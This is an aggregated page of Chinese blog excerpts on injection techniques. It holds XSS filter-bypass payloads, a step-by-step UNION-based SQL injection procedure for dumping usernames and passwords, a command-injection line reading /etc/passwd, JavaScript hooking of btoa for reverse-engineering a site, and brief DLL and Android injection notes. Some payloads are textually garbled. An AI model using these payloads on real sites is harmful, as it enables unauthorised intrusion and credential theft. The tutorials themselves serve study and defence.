精华内容
下载资源
问答
  • 代码注入的三种方法

    千次阅读 2013-12-26 11:24:20
    如何将代码注入不同的进程地址空间,然后在该进程的上下文中执行注入的代码。本文将介绍三种方法: 1、Windows 钩子  2、CreateRemoteThread 和 LoadLibrary 技术  ——进程间通信 3、CreateRemoteThread 和...

    源码下载地址:http://download.csdn.net/detail/swanabin/6771313

    如何将代码注入不同的进程地址空间,然后在该进程的上下文中执行注入的代码。本文将介绍三种方法:

    1、Windows 钩子 
    2、CreateRemoteThread 和 LoadLibrary 技术 
    ——进程间通信
    3、CreateRemoteThread 和WriteProcessMemory 技术 
    ——如何用该技术子类化远程控件 
    ——何时使用该技术
    展开全文
  • Java源码下载 1个目标文件 摘要:Java源码,网络相关,HTTP   Java实现HTTP连接与浏览,Java源码下载,输入html文件地址或网址,显示页面和HTML源文件,一步步的实现过程请下载本实例的Java源码,代码中包括丰富的...
  • XSS攻击之HTTP代码注入

    千次阅读 2016-03-30 21:25:47
    我们进行代码注入攻击,就是在这几个地方进行。 一、标签绕过 1、对标签名进行大小写混合,并不影响代码执行,有时却可以绕过过滤器。如: 2、利用现代浏览器对XHTML的支持,可以在某些浏览器的某些版本插入...

    HTML代码一般由标签名、属性名、属性值、文本、注释等组成。我们进行代码注入攻击,就是在这几个地方进行。

    一、标签绕过

    1、对标签名进行大小写混合,并不影响代码执行,有时却可以绕过过滤器。如:

    <span style="font-size:14px;"><sCRipT></ScrIPt></span>

    2、利用现代浏览器对XHTML的支持,可以在某些浏览器的某些版本插入XML代码、SVG代码或未知标签。如:

    <span style="font-size:14px;"><XSS sytle="xss:expression(alert(1)) "/></span>
    <pre name="code" class="javascript"><span style="font-size:14px;"><BGSOUND src="javascript:alert(1);" />等。</span>
    <span style="font-size:14px;">3、分析过滤器缺陷,进行针对性绕过。分析过滤器缺陷需要长期的积累。</span>
    <span style="font-size:14px;">4、利用注释绕过。如:</span>
    <pre name="code" class="javascript"><span style="font-size:14px;"><!--aaa<!--aaa-->alert(1)--></span>
    <span style="font-size:14px;">针对IE的特殊注释。</span>
    <pre name="code" class="html"><span style="font-size:14px;"><!-- [if ie]>所有的IE可识别<![endif]-->
    <!--[if]><script>alert(1)</script-->
    <!--[if <img src=x οnerrοr=alert(2)//]>--></span>


     
    5、利用标签、注释之间优先级的差异绕过。 
    
     
    
    <pre name="code" class="javascript"><span style="font-size:14px;"><!-- <a href = "--><img src="javascript:alert(2) //" >test</a></span>
    <pre name="code" class="html"><span style="font-size:14px;"><title><a href="</title><script>alert(1)</script>//"></span>
    <pre name="code" class="html"><span style="font-size:14px;"><style><a href="</sytle><img src=x οnerrοr=alert(1)//"></span>
    <pre name="code" class="html"><span style="font-size:14px;"><? foo="><script>alert(1)</script>">
    <! foo="><script>alert(1)</script>">
    </ foo="><script>alert(1)</script>">
    <% foo="%><script>alert(1)</script>"></span>
    二、属性注入
     
    
    <pre name="code" class="html"><span style="font-size:14px;">HTML属性按用途分,大致可以分为普通属性、事件属性、资源属性几种。</span>
    1、在属性值的头部、尾部插入系统控制字符。
     
    
    <pre name="code" class="html"><span style="font-size:14px;"><a &#8 href="&#32javascript:alert(1)">test</a>(注:&#8和&#32都是HTML编码,对应的是空格)(可在IE、Firefox、Chrome下执行)</span>
    <span style="font-size:14px;"><a &#8 href="&#32javascript:alert(1)&#27">test</a>(&#27对应的也是空格,可能是tab)(可在IE和Firefox下执行)</span>
    <span style="font-size:14px;">2、普通属性</span>
    <span style="font-size:14px;">(1)如果我们可控制的是属性值</span>
    <span style="font-size:14px;">a、若属性值没有用引号</span>
    <span style="font-size:14px;">如:<font color=<?=$_GET['url']?> /></span>
    <span style="font-size:14px;">利用方法比较简单,使用?url=x%20οnerrοr=alert(1)就可以使代码执行了。</span>
    <span style="font-size:14px;">b、若属性值有引号</span>
    <span style="font-size:14px;">如:<font color="<?_GET['url']?> /></span>
    <span style="font-size:14px;">构造引号使引号闭合。?url=x"%20οnerrοr=alert(1)//</span>
    <span style="font-size:14px;">若引号被过滤,或者做了HTMLENCODE转义,就放弃吧。不过有两个特例。</span>
    <span style="font-family:System;font-size:14px;"><img src="x` ` <script>alert(1)</script>"` ` >(IE6)</span>
    <span style="font-family:System;font-size:14px;"><img src= alt=" οnerrοr=alert(1)// " >(IE、Firefox、Chrome、Opera等)</span>
    <span style="font-family:System;font-size:14px;">(2)事件属性</span>
    <span style="font-family:System;font-size:14px;">除了上述方法外,最直接的方式是直接插入我们的代码等待用户来触发:</span>
    <span style="font-family:Times New Roman;font-size:14px;"><a href="#" οnclick="do_some_func(\"<?_GET['a'] ?> \")">test</a></span>
    <span style="font-size:14px;">可以构造如下输入:?a=x');alert(1);//或者?a=',alert(1),'</span>
    <span style="font-size:14px;">代入如下:</span>
    <span style="font-size:14px;"><a href="#" οnclick="do_some_func('x');alert(1);//')">test</a></span>
    <span style="font-size:14px;"><a href="#" οnclick="do_some_func('',alert(1),')")">test</a>(注:利用了一个函数可以在另外一个函数中执行的特性)</span>
    <span style="font-family:System;font-size:14px;">如果是一句话,可以直接写,如果是多句,则可以定义一个匿名方法,语句如下:</span>
    <span style="font-family:Verdana;font-size:14px;"><a href="#" οnclick="do_some_func('', function(){alert(1); alert(2);}, '')">test</a></span>
    <span style="font-family:Verdana;font-size:14px;">也可以通过十六进制编码的方式将多句合在一起。</span>
    <span style="font-family:Verdana;font-size:14px;"><a href=”#“ οnclick="do_some_func('', eval('\x61\x6c\65.........'), '')">test</a></span>
    <span style="font-family:Verdana;font-size:14px;">(3)资源类属性</span>
    <span style="font-family:Verdana;font-size:14px;">资源类属性,属性值通过为URL,属性名一般是src或href。这些属性一般支持浏览器的预定义协议,比如http、ftp、file、https、javascript、vbscript、mailto、data等。这其中,有的是网络协议,比如http、ftp等,有的是本地协议,比如javascript、vbscript等。本地协议一般称之为伪协议,伪协议可以调用本地程序执行命令。</span>
    <span style="font-family:Verdana;font-size:14px;">如:<img src  = "javascript:alert(1)" ></span>
    <span style="font-family:Verdana;font-size:14px;">但这些一般都被屏蔽了(IE6以前,IE6没有屏蔽),现在可用的如:<iframe src="javascript:alert(1)"></span>
    <span style="font-family:Verdana;font-size:14px;">
    </span>
    <span style="font-family:Verdana;">
    </span>


     
    
    
    
    </pre>


     
    


     
    
    </pre>

    展开全文
  • Hook 钩子技术及代码注入的 3 种方式

    千次阅读 2020-08-09 12:49:04
    在原有的方法前后加入我们自定义的代码。相当于在系统没有调用该函数之前,钩子程序就先捕获该消息, 可以先得到控制权,这时钩子函数便可以加工处理(改变)该函数的执行行为。 通俗点来说呢,比如我要 Hook 一...

    Hook 技术介绍

      • Hook 技术中文又叫作钩子技术,它就是在程序运行的过程中,对其中的某个方法进行重写,

      • 在原有的方法前后加入我们自定义的代码。相当于在系统没有调用该函数之前,钩子程序就先捕获该消息,

      • 可以先得到控制权,这时钩子函数便可以加工处理(改变)该函数的执行行为。

      • 通俗点来说呢,比如我要 Hook 一个方法 funA,可以先临时用一个变量存一下,把它存成 A,

      • 然后呢,我再重新声明一个新的方法 funB,里面添加自己的逻辑,比如加点调试语句、输出语句等等,

      • 然后在新的方法 funB 里面再调用 A,这里调用的 A 就是之前原始的方法 funA。

      • 这样就相当于新的方法 funB 里面混入了我们自己定义的逻辑,同时又把原来的方法 A 也执行了一遍。

      • 所以这不会影响原有的执行逻辑和运行效果,但是我们通过这种改写便可以顺利在原来的 A 方法前后加上了我们自己的逻辑,这就是 Hook。

    def funA():
        print('hello')
        
    A = funA()
    
    def funB():
        print('你好')
        funA()
        print('world')
    
    B = funB()
    
    • 上面案例就是一Hook方法的简单演示

      • 我们要寻找funA执行的位置,通过执行我们funB方法,输出 你好 以后就是执行 funA 的位置
    • 怎么使用 Hook 的方式来找到加密 id 的加密入口点呢?原理和上面一样

      • 加密 id 是一个 Base64 编码的字符串,那么生成过程中想必就调用了 JavaScript 的 Base64 编码的方法,
      • 这个方法名叫作 btoa,这个 btoa 方法可以将参数转化成 Base64 编码。
      • 当然 Base64 也有其他的实现方式,比如利用 crypto-js 这个库实现的,这个可能底层调用的就不是 btoa 方法了。
      • 所以,其实现在并不确定是不是调用的 btoa 方法实现的 Base64 编码,那就先试试吧。
      • 要实现 Hook,其实关键在于将原来的方法改写,这里我们其实就是 Hook btoa 这个方法了,
      • btoa 这个方法属于 window 对象,我们将 window 对象的 btoa 方法进行改写即可。
    • 具体使用方法如下:

    (function () {
       'use strict';
       function hook(object, attr) {
           var func = object[attr];
           object[attr] = function () {
               console.log('hooked', object, attr, arguments);
               var ret = func.apply(object, arguments);
               debugger;
               console.log('result', ret);
               return ret;
          }
      }
       hook(window, 'btoa');
    })()
    
    
    • 具体步骤:

      • 首先,定义了一个 hook 方法,传入 object 和 attr 参数,意思就是 Hook 的 object 对象的 attr 参数。
        • 例如我们如果想 Hook 一个 alert 方法,那就把 object 对象设置为 window,把 attr 参数设置为要 alert 方法,arguments就是alert方法接收的参数(字符串)。
        • 这里我们想要 Hook Base64 的编码方法,那么这里就只需要传入 Hook 的window 对象(object对象)和 btoa 方法(attr参数)就好了。
        • 后面的 arguments 就是传给 btoa 方法的参数, ret 就是该 btoa 方法执行后的结果,即参数经过base64 编码后的结果
      • 然后是定义一个变量, var func = object[attr],相当于先把object对象和参数赋值为一个变量,
        • 我们调用 func 方法就可以实现和原来相同的功能。
      • 接着,我们再直接改写这个方法的定义(修改该方法),直接改写 object[attr],将其改写成一个新的方法,
        • 新的方法开头加入console.log调试语句
        • 在新的方法中,通过 func.apply 方法又重新调用了原来的方法,将其赋值到一个ret变量中,新方法最后返回原来方法的执行结果
      • 这样我们就可以保证,前后方法的执行效果是不受什么影响的,之前这个方法该干啥就还是干啥的。
        • 但是和之前不同的是,我们自定义方法之后,现在可以在 func 方法执行的前后,
        • 再加入自己的代码,如 console.log 将信息输出到控制台,如 debugger 进入断点等等
      • 最后,我们调用 hook 方法,传入 window 对象和 btoa 字符串(即window对象的btoa方法)即可
    • Hook 逻辑说明:

      • hook 过程中,我们先临时保存下来了 func 方法,然后定义一个新的方法,接管程序控制权,
      • 在新方法中自定义我们想要的实现,同时在新的方法里面再重新调回 func 方法,保证前后结果是不受影响的。
      • 所以,我们达到了在不影响原有方法效果的前提下,可以实现在方法的前后实现自定义的功能,就是 Hook 的完整实现过程。
      • 最后,我们调用 hook 方法,只需要传入 window 对象和 btoa 字符串(方法的名称)即可。

    Hook 注入代码的三种方式:

    - 上面已经 hook 了 btoa 方法,接下来就是注入代码,三种注入方法:
    - 直接控制台注入;
    - 重写 JavaScript 代码;
    - Tampermonkey 油猴注入。
    

    Hook 注入代码方法1:控制台注入

      • 直接复制上面代码到Chrome的console控制台,然后enter执行,执行完这段代码之后

      • 相当于我们就已经把 window 对象的 btoa 方法改写为我们自定义的新方法了,

      • 此时,我们可以控制台调用下 btoa 方法,回车之后就可以看到它进入了我们自定义方法的 debugger 的位置停下了

      • 查看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cf1kEwwV-1596948392910)(003_JavaScript混淆加密_Ajax动态请求_哔哩哔哩JS动态请求分析提取/041_JavaScript逆向实例1_Hook钩子方法_代码注入_控制台注入1.png)]

      • 查看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dXHqvBHb-1596948392924)(003_JavaScript混淆加密_Ajax动态请求_哔哩哔哩JS动态请求分析提取/041_JavaScript逆向实例1_Hook钩子方法_代码注入_控制台注入2.png)]

      • 点击调试继续键,就会继续向下执行代码:console.log(‘result’, ret);

      • 控制台输出经过 base64 加密后的字符串

      • 查看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AzPV6O33-1596948392934)(003_JavaScript混淆加密_Ajax动态请求_哔哩哔哩JS动态请求分析提取/041_JavaScript逆向实例1_Hook钩子方法_代码注入_控制台注入3.png)]

      • 控制台直接输入的 Hook 代码,所以页面一旦刷新就无效了,但由于我们这个网站是 SPA 式的页面,

      • 所以在点击详情页的时候页面是不会整个刷新的,所以这段代码依然还会生效。

      • 但是如果不是 SPA 式的页面,即每次访问都需要刷新页面的网站,这种注入方式就不生效了

      • 经过上面分析,我们就可以查找详情页加密ID逻辑:

        • 详情页的token 值是访问列表页的 ajax 请求就生成了,
        • 注入了上面代码,每一次base64编码都会暂停并输出编码前和编码后的结果
        • 我们注入代码目的是为了 Hook 列表页 Ajax 加载完成后的加密 id 的 Base64 编码的过程,
        • 那怎么在不刷新页面的情况下再次复现这个操作呢?很简单,注入代码,enter后,点下一页就好了。
        • 这时候我们可以点击第 2 页的按钮,但是此时还是从第一页开始的,因为所有经过 btoa 方法都会执行一遍,
        • 可以看到它确实再次停到了 Hook 方法的 debugger 处,
        • 由于列表页的 Ajax 和加密 id 都会带有 Base64 编码的操作,因此它每一个都能 Hook 到,
        • 通过观察对应的 Arguments 或当前网站的行为或者观察栈信息,我们就能大体知道现在走到了哪个位置了,
        • 从而进一步通过栈的调用信息找到调用 Base64 编码的位置。
        • 我们点击右上角调试继续按钮,如果是灰色先点击一下即可,多点击几次发现
        • 控制台和右侧调试栏都会输出相应信息,观察加密前的 arguments 只有末尾一个字符不同
        • 查看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VyZP718e-1596948392946)(003_JavaScript混淆加密_Ajax动态请求_哔哩哔哩JS动态请求分析提取/041_JavaScript逆向实例1_Hook钩子方法_代码注入_控制台注入4.png)]
        • 我们暂停在某个加密位置,然后右侧 栈 一层层向上找,就可以找到加密前字符串的位置,然后继续向上找
        • 同时配合查看 网页返回的 json 内容,可以发现加密前的字符串是由一个写死的字符串
        • ef34#teuq0btua#(-57w1q5o5–j@98xygimlyfxs*-!i-0-mb和电影的真实ID拼接在一起的
        • 拼接后的字符串,然后进行base64编码
      • 控制台注入代码存在问题:

        • Hook 代码是在控制台手动输入的,一旦刷新页面就不生效了,这的确是个问题。
        • 而且它必须是在页面加载完了才注入的,所以它并不能在一开始就生效。
        • 上面通过点击下一页,重新发起请求完成

    重写 JavaScript

    • Hook 注入代码方法2:
    • 重写 JavaScript
      • 我们可以借助于 Chrome 浏览器的 Overrides (重写)功能实现某些 JavaScript 文件的重写和保存,

      • 它会在本地生成一个 JavaScript 文件副本,以后每次刷新的时候会使用副本的内容。

      • 这里我们需要切换到 Sources 选项卡的 Overrides 选项卡,

      • 然后选择一个文件夹,比如这里进入项目文件里面新建了一个文件夹名字叫作 modify

      • 然后切换到Sources-Page-js文件夹中,随便选择一个js文件脚本,后面贴上上面 Hook 后的 btoa 代码

      • 查看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QyF1c8F1-1596948392948)(003_JavaScript混淆加密_Ajax动态请求_哔哩哔哩JS动态请求分析提取/042_JavaScript逆向实例1_Hook钩子方法_代码注入_重写JavaScript1.png)]

      • 注意:修改代码不要格式化代码,直接原始js文件,先end 到结尾 然后换行空一行,粘贴代码,末尾可以添加上 ; 号,添加多个需要加上。

      • 右键刚刚修改的js文件名称,保存到上面新建的modify文件夹中

      • 此时可能提示页面崩溃,但是不用担心,重新刷新页面就好了,这时候我们就发现现在浏览器加载的 JavaScript 文件就是我们修改过后的了,文件的下方会有一个标识符,蓝色小点

      • 然后点击调试继续按钮,没执行到 btoa 方法就暂停一下,我们进入控制台console里面查看

      • 查看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uhHKWUVn-1596948392952)(003_JavaScript混淆加密_Ajax动态请求_哔哩哔哩JS动态请求分析提取/042_JavaScript逆向实例1_Hook钩子方法_代码注入_重写JavaScript2.png)]

      • 最先执行了 列表页 的token加密,然后就是详情页id加密,elements里面详情页ID出现了两次,执行了两次

      • 查看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7HwlLqMn-1596948392955)(003_JavaScript混淆加密_Ajax动态请求_哔哩哔哩JS动态请求分析提取/042_JavaScript逆向实例1_Hook钩子方法_代码注入_重写JavaScript3.png)]

      • 其实 Overrides 的这个功能非常有用,我们保存了修改后文件到本地,有了它我们可以持久化保存我们任意修改的 JavaScript 代码,

      • 所以我们想在哪里改都可以了,甚至可以直接修改 JavaScript 的原始执行逻辑也都可以的

    Tampermonkey 油猴插件注入

    • Tampermonkey 油猴注入

      • 如果我们不想用 Overrides 的方式改写 JavaScript 的方式注入的话,还可以借助于浏览器插件来实现注入,
      • 这里推荐的浏览器插件叫作 Tampermonkey,中文叫作“油猴”。它是一款浏览器插件,支持 Chrome。
      • 利用它我们可以在浏览器加载页面时自动执行某些 JavaScript 脚本。
      • 由于执行的是 JavaScript,所以我们几乎可以在网页中完成任何我们想实现的效果,
      • 如自动爬虫、自动修改页面、自动响应事件等等。
      • 可以管理网上下载的一些脚本
    • 安装Tampermonkey插件

      • 官网下载:https://www.tampermonkey.net/
      • 脚本管理器:https://greasyfork.org/zh-CN
      • 一些使用的三方脚本网站:https://greasyfork.org/zh-CN/scripts
      • 网络问题,会安装失败,进入第三方地址下载解压得到crx文件安装
      • 下载地址:http://www.pc6.com/soft/FireFox_247376.html
      • 下载解压后,Chrome进入更多工具-扩展程序界面,将crx文件拖入即可安装
      • 查看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-caJV8wJT-1596948392957)(003_JavaScript混淆加密_Ajax动态请求_哔哩哔哩JS动态请求分析提取/043_JavaScript逆向实例1_Hook钩子方法_代码注入_tampermonkey油猴js脚本管理器安装.png)]
      • 然后点击右上角,扩展程序,点击tampermonkey后面的固定,固定在工具栏
      • 安装完成之后,在 Chrome 浏览器的右上角会出现 Tampermonkey 的图标
    • 使用 Tampermonkey插件

      • 点击 Tampermonkey 插件图标,点击“管理面板”按钮,打开脚本管理页面
      • 显示了我们已经有的一些 Tampermonkey 脚本,包括我们自行创建的,也包括从第三方网站下载安装的
      • 编辑、调试、删除等管理功能,我们可以方便地对脚本进行管理。
      • 接下来我们来创建一个新的脚本来试试,点击左侧的“+”号
      • 会出来一个初始化文件脚本,版本不同可能注释内容有区别
    // ==UserScript==
    // @name         New Userscript
    // @namespace   http://tampermonkey.net/
    // @version     0.1
    // @description try to take over the world!
    // @author       You
    // @match       https://www.tampermonkey.net/documentation.php?ext=dhdg
    // @grant       none
    // ==/UserScript==
    
    (function() {
       'use strict';
    
       // Your code here...
    })();
    
    • 最上面是一些注释,但这些注释是非常有用的,这部分内容叫作 UserScript Header ,

      • 我们可以在里面配置一些脚本的信息,如名称、版本、描述、生效站点等等。
      • 在 UserScript Header 下方是 JavaScript 函数和调用的代码,
      • 其中 use strict 标明代码使用 JavaScript 的严格模式,
      • 在严格模式下可以消除 Javascript 语法的一些不合理、不严谨之处,减少一些怪异行为,
      • 如不能直接使用未声明的变量,这样可以保证代码的运行安全,
      • 同时提高编译器的效率,提高运行速度。
      • 在下方 // Your code here… 这里我们就可以编写自己的代码了。
    • 我们将上面 hook 后的 btoa 代码复制进去,然后保存

      • 重新访问目标网址:https://dynamic6.scrape.cuiqingcai.com/
      • 进入开发者工具,然后刷新页面,就会停留在脚本的debugger位置
      • 然后就可以点击调试工具栏继续按钮,调试断点运行,然后找到所有经过btoa编码的代码
    展开全文
  • 动态地在浏览器中注入js代码,支持jQuery.js 添加鼠标手势的功能 显示当前页面 url 的二维码 百度知道助手(添加关注和我的关注,问题详情大图方向键切换) 使用方法 下载: git clone 打开 Chrome 浏览器的“管理...
  • JAVA上百实例源码以及开源项目

    千次下载 热门讨论 2016-01-03 17:37:40
     Java实现HTTP连接与浏览,Java源码下载,输入html文件地址或网址,显示页面和HTML源文件,一步步的实现过程请下载本实例的Java源码,代码中包括丰富的注释,对学习有帮助。 Java实现的FTP连接与数据浏览程序 1个...
  • 最最基本的SQL手动url注入方法

    千次阅读 2019-09-07 21:40:50
    sql注入,说白了本质就是一个应用sql语句构造程序的一个过程,通过在web中输入代码使后台认为其是数据便注入源码之中,从而达到某些意想不到的结果 手工查找注入点: 1. 1 #正常访问 2. 1' and 1=1; # 是不是跟...

     

    sql注入,说白了本质就是一个应用sql语句构造程序的一个过程,通过在web中输入代码使后台认为其是数据便注入源码之中,从而达到某些意想不到的结果

    手工查找注入点:
        1. 1    #正常访问
        2. 1' and 1=1; # 是不是跟正常结果一样
        3. 1' and 1=2; # 是不是没有结果
        4. 1' order by 1,2; # 猜列数
        5. 1' and 1=2 union all select 1, 2; # 查看是否可以使用union all
        6. 1' and 1=2 union all select 1, database(); #  获取当前数据库
        7. 1' and 1=2 union all select TABLE_SCHEMA, TABLE_NAME from 

     

     

    其下阐述一点基本的sql注入原理和基本的注入步骤

    1.寻找注入点,构造闭合直接在网页的地址口进行手工注入  url?id=1 所猜闭合 1=2 --+

    若web报错,及无执行该语句,猜错;反正web崩溃及执行该语句,猜对      常见闭合 (  )    “ ”     ' '   [ ]    {  }  或者直接无闭合   

     2.查看当前表总共有多少列 url?id=1 order by 所猜测的数字 --+

    2.寻找显示位 url?id=-1’ union all select 1,2,3 --+

    3.定位该网页所选用数据库 database()当前数据库  version() 数据库版本号

    4.通过数据库查找web所用表  url?id=-1’ union all select 1,table_name,3 from information_schema.tables where table_schema=’当前数据库’ --+

    5.通过已知数据库和表名查找该表内所有列名 url?id=-1’ union all select 1,column_name,3 from information_schema.columns where table_schema=’当前数据库’ and table_name=’当前表名’ --+

    6.最后一只数据库,表名,列名后,直接查询数据库中的用户名和密码  

    url?id=-1 union all select 1,用户名,密码 from 表名

     

    PS:若显示内容过少可调用函数group_concat(要查找内容)   即可将行与列互换显示

    --+  是#注释符的url转码

     

     

     

    展开全文
  • 基于SSM的校园二手交易平台的设计与实现

    万次阅读 多人点赞 2018-05-06 14:24:44
    PS: Java版本:1.7 数据库:MySQL 框架:Spring + Spring MVC + MyBatis 服务器:Tomcat 前端解析框架:Thymeleaf 开发工具:Idea 2017 版本管理工具:Maven 版本控制工具:GitHub ...一、设计概...
  • 网页脚本注入执行任意代码

    千次阅读 2017-11-26 20:25:32
    网页脚本注入执行任意代码 ——突破网页本地脚本验证方法实例 最近为了帮朋友批量查询信息,查询页面上要求输入验证码,查询结果要保存到文件。首先想到的是验证码自动识别,太复杂了。总算让我找到一个非常好的软件...
  • mysql数据库一直以来都遭受到sql注入...下面我们SINE安全技术针对于这个sql注入问题总结3种方案去防止sql注入攻击。 sql注入产生的原因很简单,就是访问用户通过网站前端对网站可以输入参数的地方进行提交参数,...
  • XML注入

    千次阅读 2019-09-07 22:54:20
    XML注入简介 什么是xml? XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据,而非显示数据 XML 标签没有被预定义。您需要自行定义标签。 XML ...
  • 刷完了sqli-labs,对sql注入有了些许认识,在此做个小结与记录
  • 6.页面代码级后台功能优化! 修改和注意事项: 1.购买后请务必修改一下后台的地址 2.后台的用户名和密码建议10位以上,数字、字母和符号结合 3.修改主页和分类页面等,都是在后台直接修改相应的模板。然后生成一下...
  • 本文详细的介绍了在Visual Studio(以下简称VS)下实现API钩子的编程方法,阅读本文需要基础:有操作系统的基本知识(进程管理,内存管理),会在VS下编写和调试Win32应用程序和动态链接库(以下简称DLL)。...
  • webView网页中JS调原生OC方法与JS注入

    千次阅读 2016-11-15 20:05:13
    // 格式 neng://loadUrl/blog.csdn.net 协议/方法/网址    //判断链接中的协议头,如果是neng://, 则进行相关操作    if ([urlStr  hasPrefix: @"neng://"]) {    //拿到除去协议头的后部    ...
  • DLL注入的方式 (转载自看雪学院)

    千次阅读 2019-06-10 15:19:31
    DLL 注入技术的 N 种姿势 看雪学院 看雪学院,为IT专业人士、技术专家提供了一个民间交流与合作空间。 18 人赞同了该文章 本文中我将介绍DLL注入的相关知识。不算太糟的是,DLL注入技术可以被正常软件用来添加...
  • Web恶意代码检测方法

    万次阅读 2016-07-28 18:23:41
    通常黑客在挂马时都不会采用将代码写在网页上的方法,而是会使用注入手段,让网页远程调用异地外域的JS脚本,也就是黑客自己网站上包含有恶意 代码的JS挂马文件,因此可以从 这里入手进行识别。提取一切Src请求的...
  • 【JAVA面试】java面试题整理(3)

    千次阅读 2018-10-28 12:50:13
    java面试题整理(3) JAVA常考点3 目录 1. 讲下JAVA的运行时区域 1 ...4、项目是怎样预防sql注入的 7 5、 MySQL存储引擎中的MyISAM和InnoDB区别 7 6、B树与B+树简明扼要的区别 11 6、 解决哈希冲突的三种...
  • 2) 如果是post型诸如点,可以sqlmap -u "注入网址” --data="post的参数" 3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r "文件地址" 二,...
  • 命令注入

    千次阅读 2018-10-27 14:59:04
    命令注入 命令截断 无回显 过滤与绕过 命令注入-命令截断 system(“ls $dir”); $dir=/tmp; cat /etc/passwd ;(分号将前面的命令隔断,开始一个新的命令) |(将前面的输出,当做一个管道文件传给后一个命令) &...
  • sql注入---入门到进阶

    万次阅读 多人点赞 2019-10-13 21:06:33
    概述:针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为,其本质就是对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来...
  • java接口防止XSS攻击的常用方法总结

    万次阅读 2018-08-16 10:46:38
    在前面的一篇文章中,讲到了java web应用程序防止 csrf 攻击的方法,参考这里 java网页程序采用 spring 防止 csrf 攻击. ,但这只是攻击的一种方式,还有其他方式,比如今天要记录的 XSS 攻击, XSS 攻击的专业解释...
  • 入门SpringBoot之几种配置注入方式

    千次阅读 2019-04-25 21:19:25
    配置注入也和之前的SpringMVC方法有所不同 示例:在配置文件Myconfig中获取到JDBC的连接配置信息 1.首先使用IDEA创建一个Maven的项目 在pom.xml文件中添加这些简单的配置即可,如果有额外需要 可以去Maven ...
  • Android平台的so注入--LibInject

    千次阅读 2016-12-27 14:38:29
    大牛古河在看雪论坛分享的Android平台的注入代码,相信很多搞Android安全的同学应该都看过。刚接触Android平台的逆向时,我也下载了LibInject代码并且仔细的阅读和分析过,见我前面的博文《Android的so库注入》。我...
  • xss漏洞注入

    2020-12-20 13:29:26
    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、...
  • sql注入方法大全

    千次阅读 2007-09-13 20:00:00
    sql注入方法大全 januapr19:10 PM 我总结的关系sql注入方法 /*现在有了NBSI和啊D等东东,使的注入更加的方便,但是基于原理方面的知识, 对sql本身的理解是应该做的。 情长杀手 */SQL注入简介许多网站程序在...
  • Android进程的so注入--Poison(稳定注入版)

    万次阅读 热门讨论 2016-12-26 14:53:22
    Android进程的so注入已经是老技术了,网上能用的Android注入的工程也有很多,虽然分享代码的作者在测试的时候能注入成功,但是其他的同学使用这些代码的时候总是出现这样或者那样的问题。在Android逆向学习的这段...
  •  Ninject是基于.Net平台的依赖注入框架,它能够将应用程序分离成一个个高内聚、低耦合(loosely-coupled, highly-cohesive)的模块,然后以一种灵活的方式组织起来。Ninject可以使代码变得更容易编写、重用、测试和...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 16,747
精华内容 6,698
关键字:

代码注入网址方法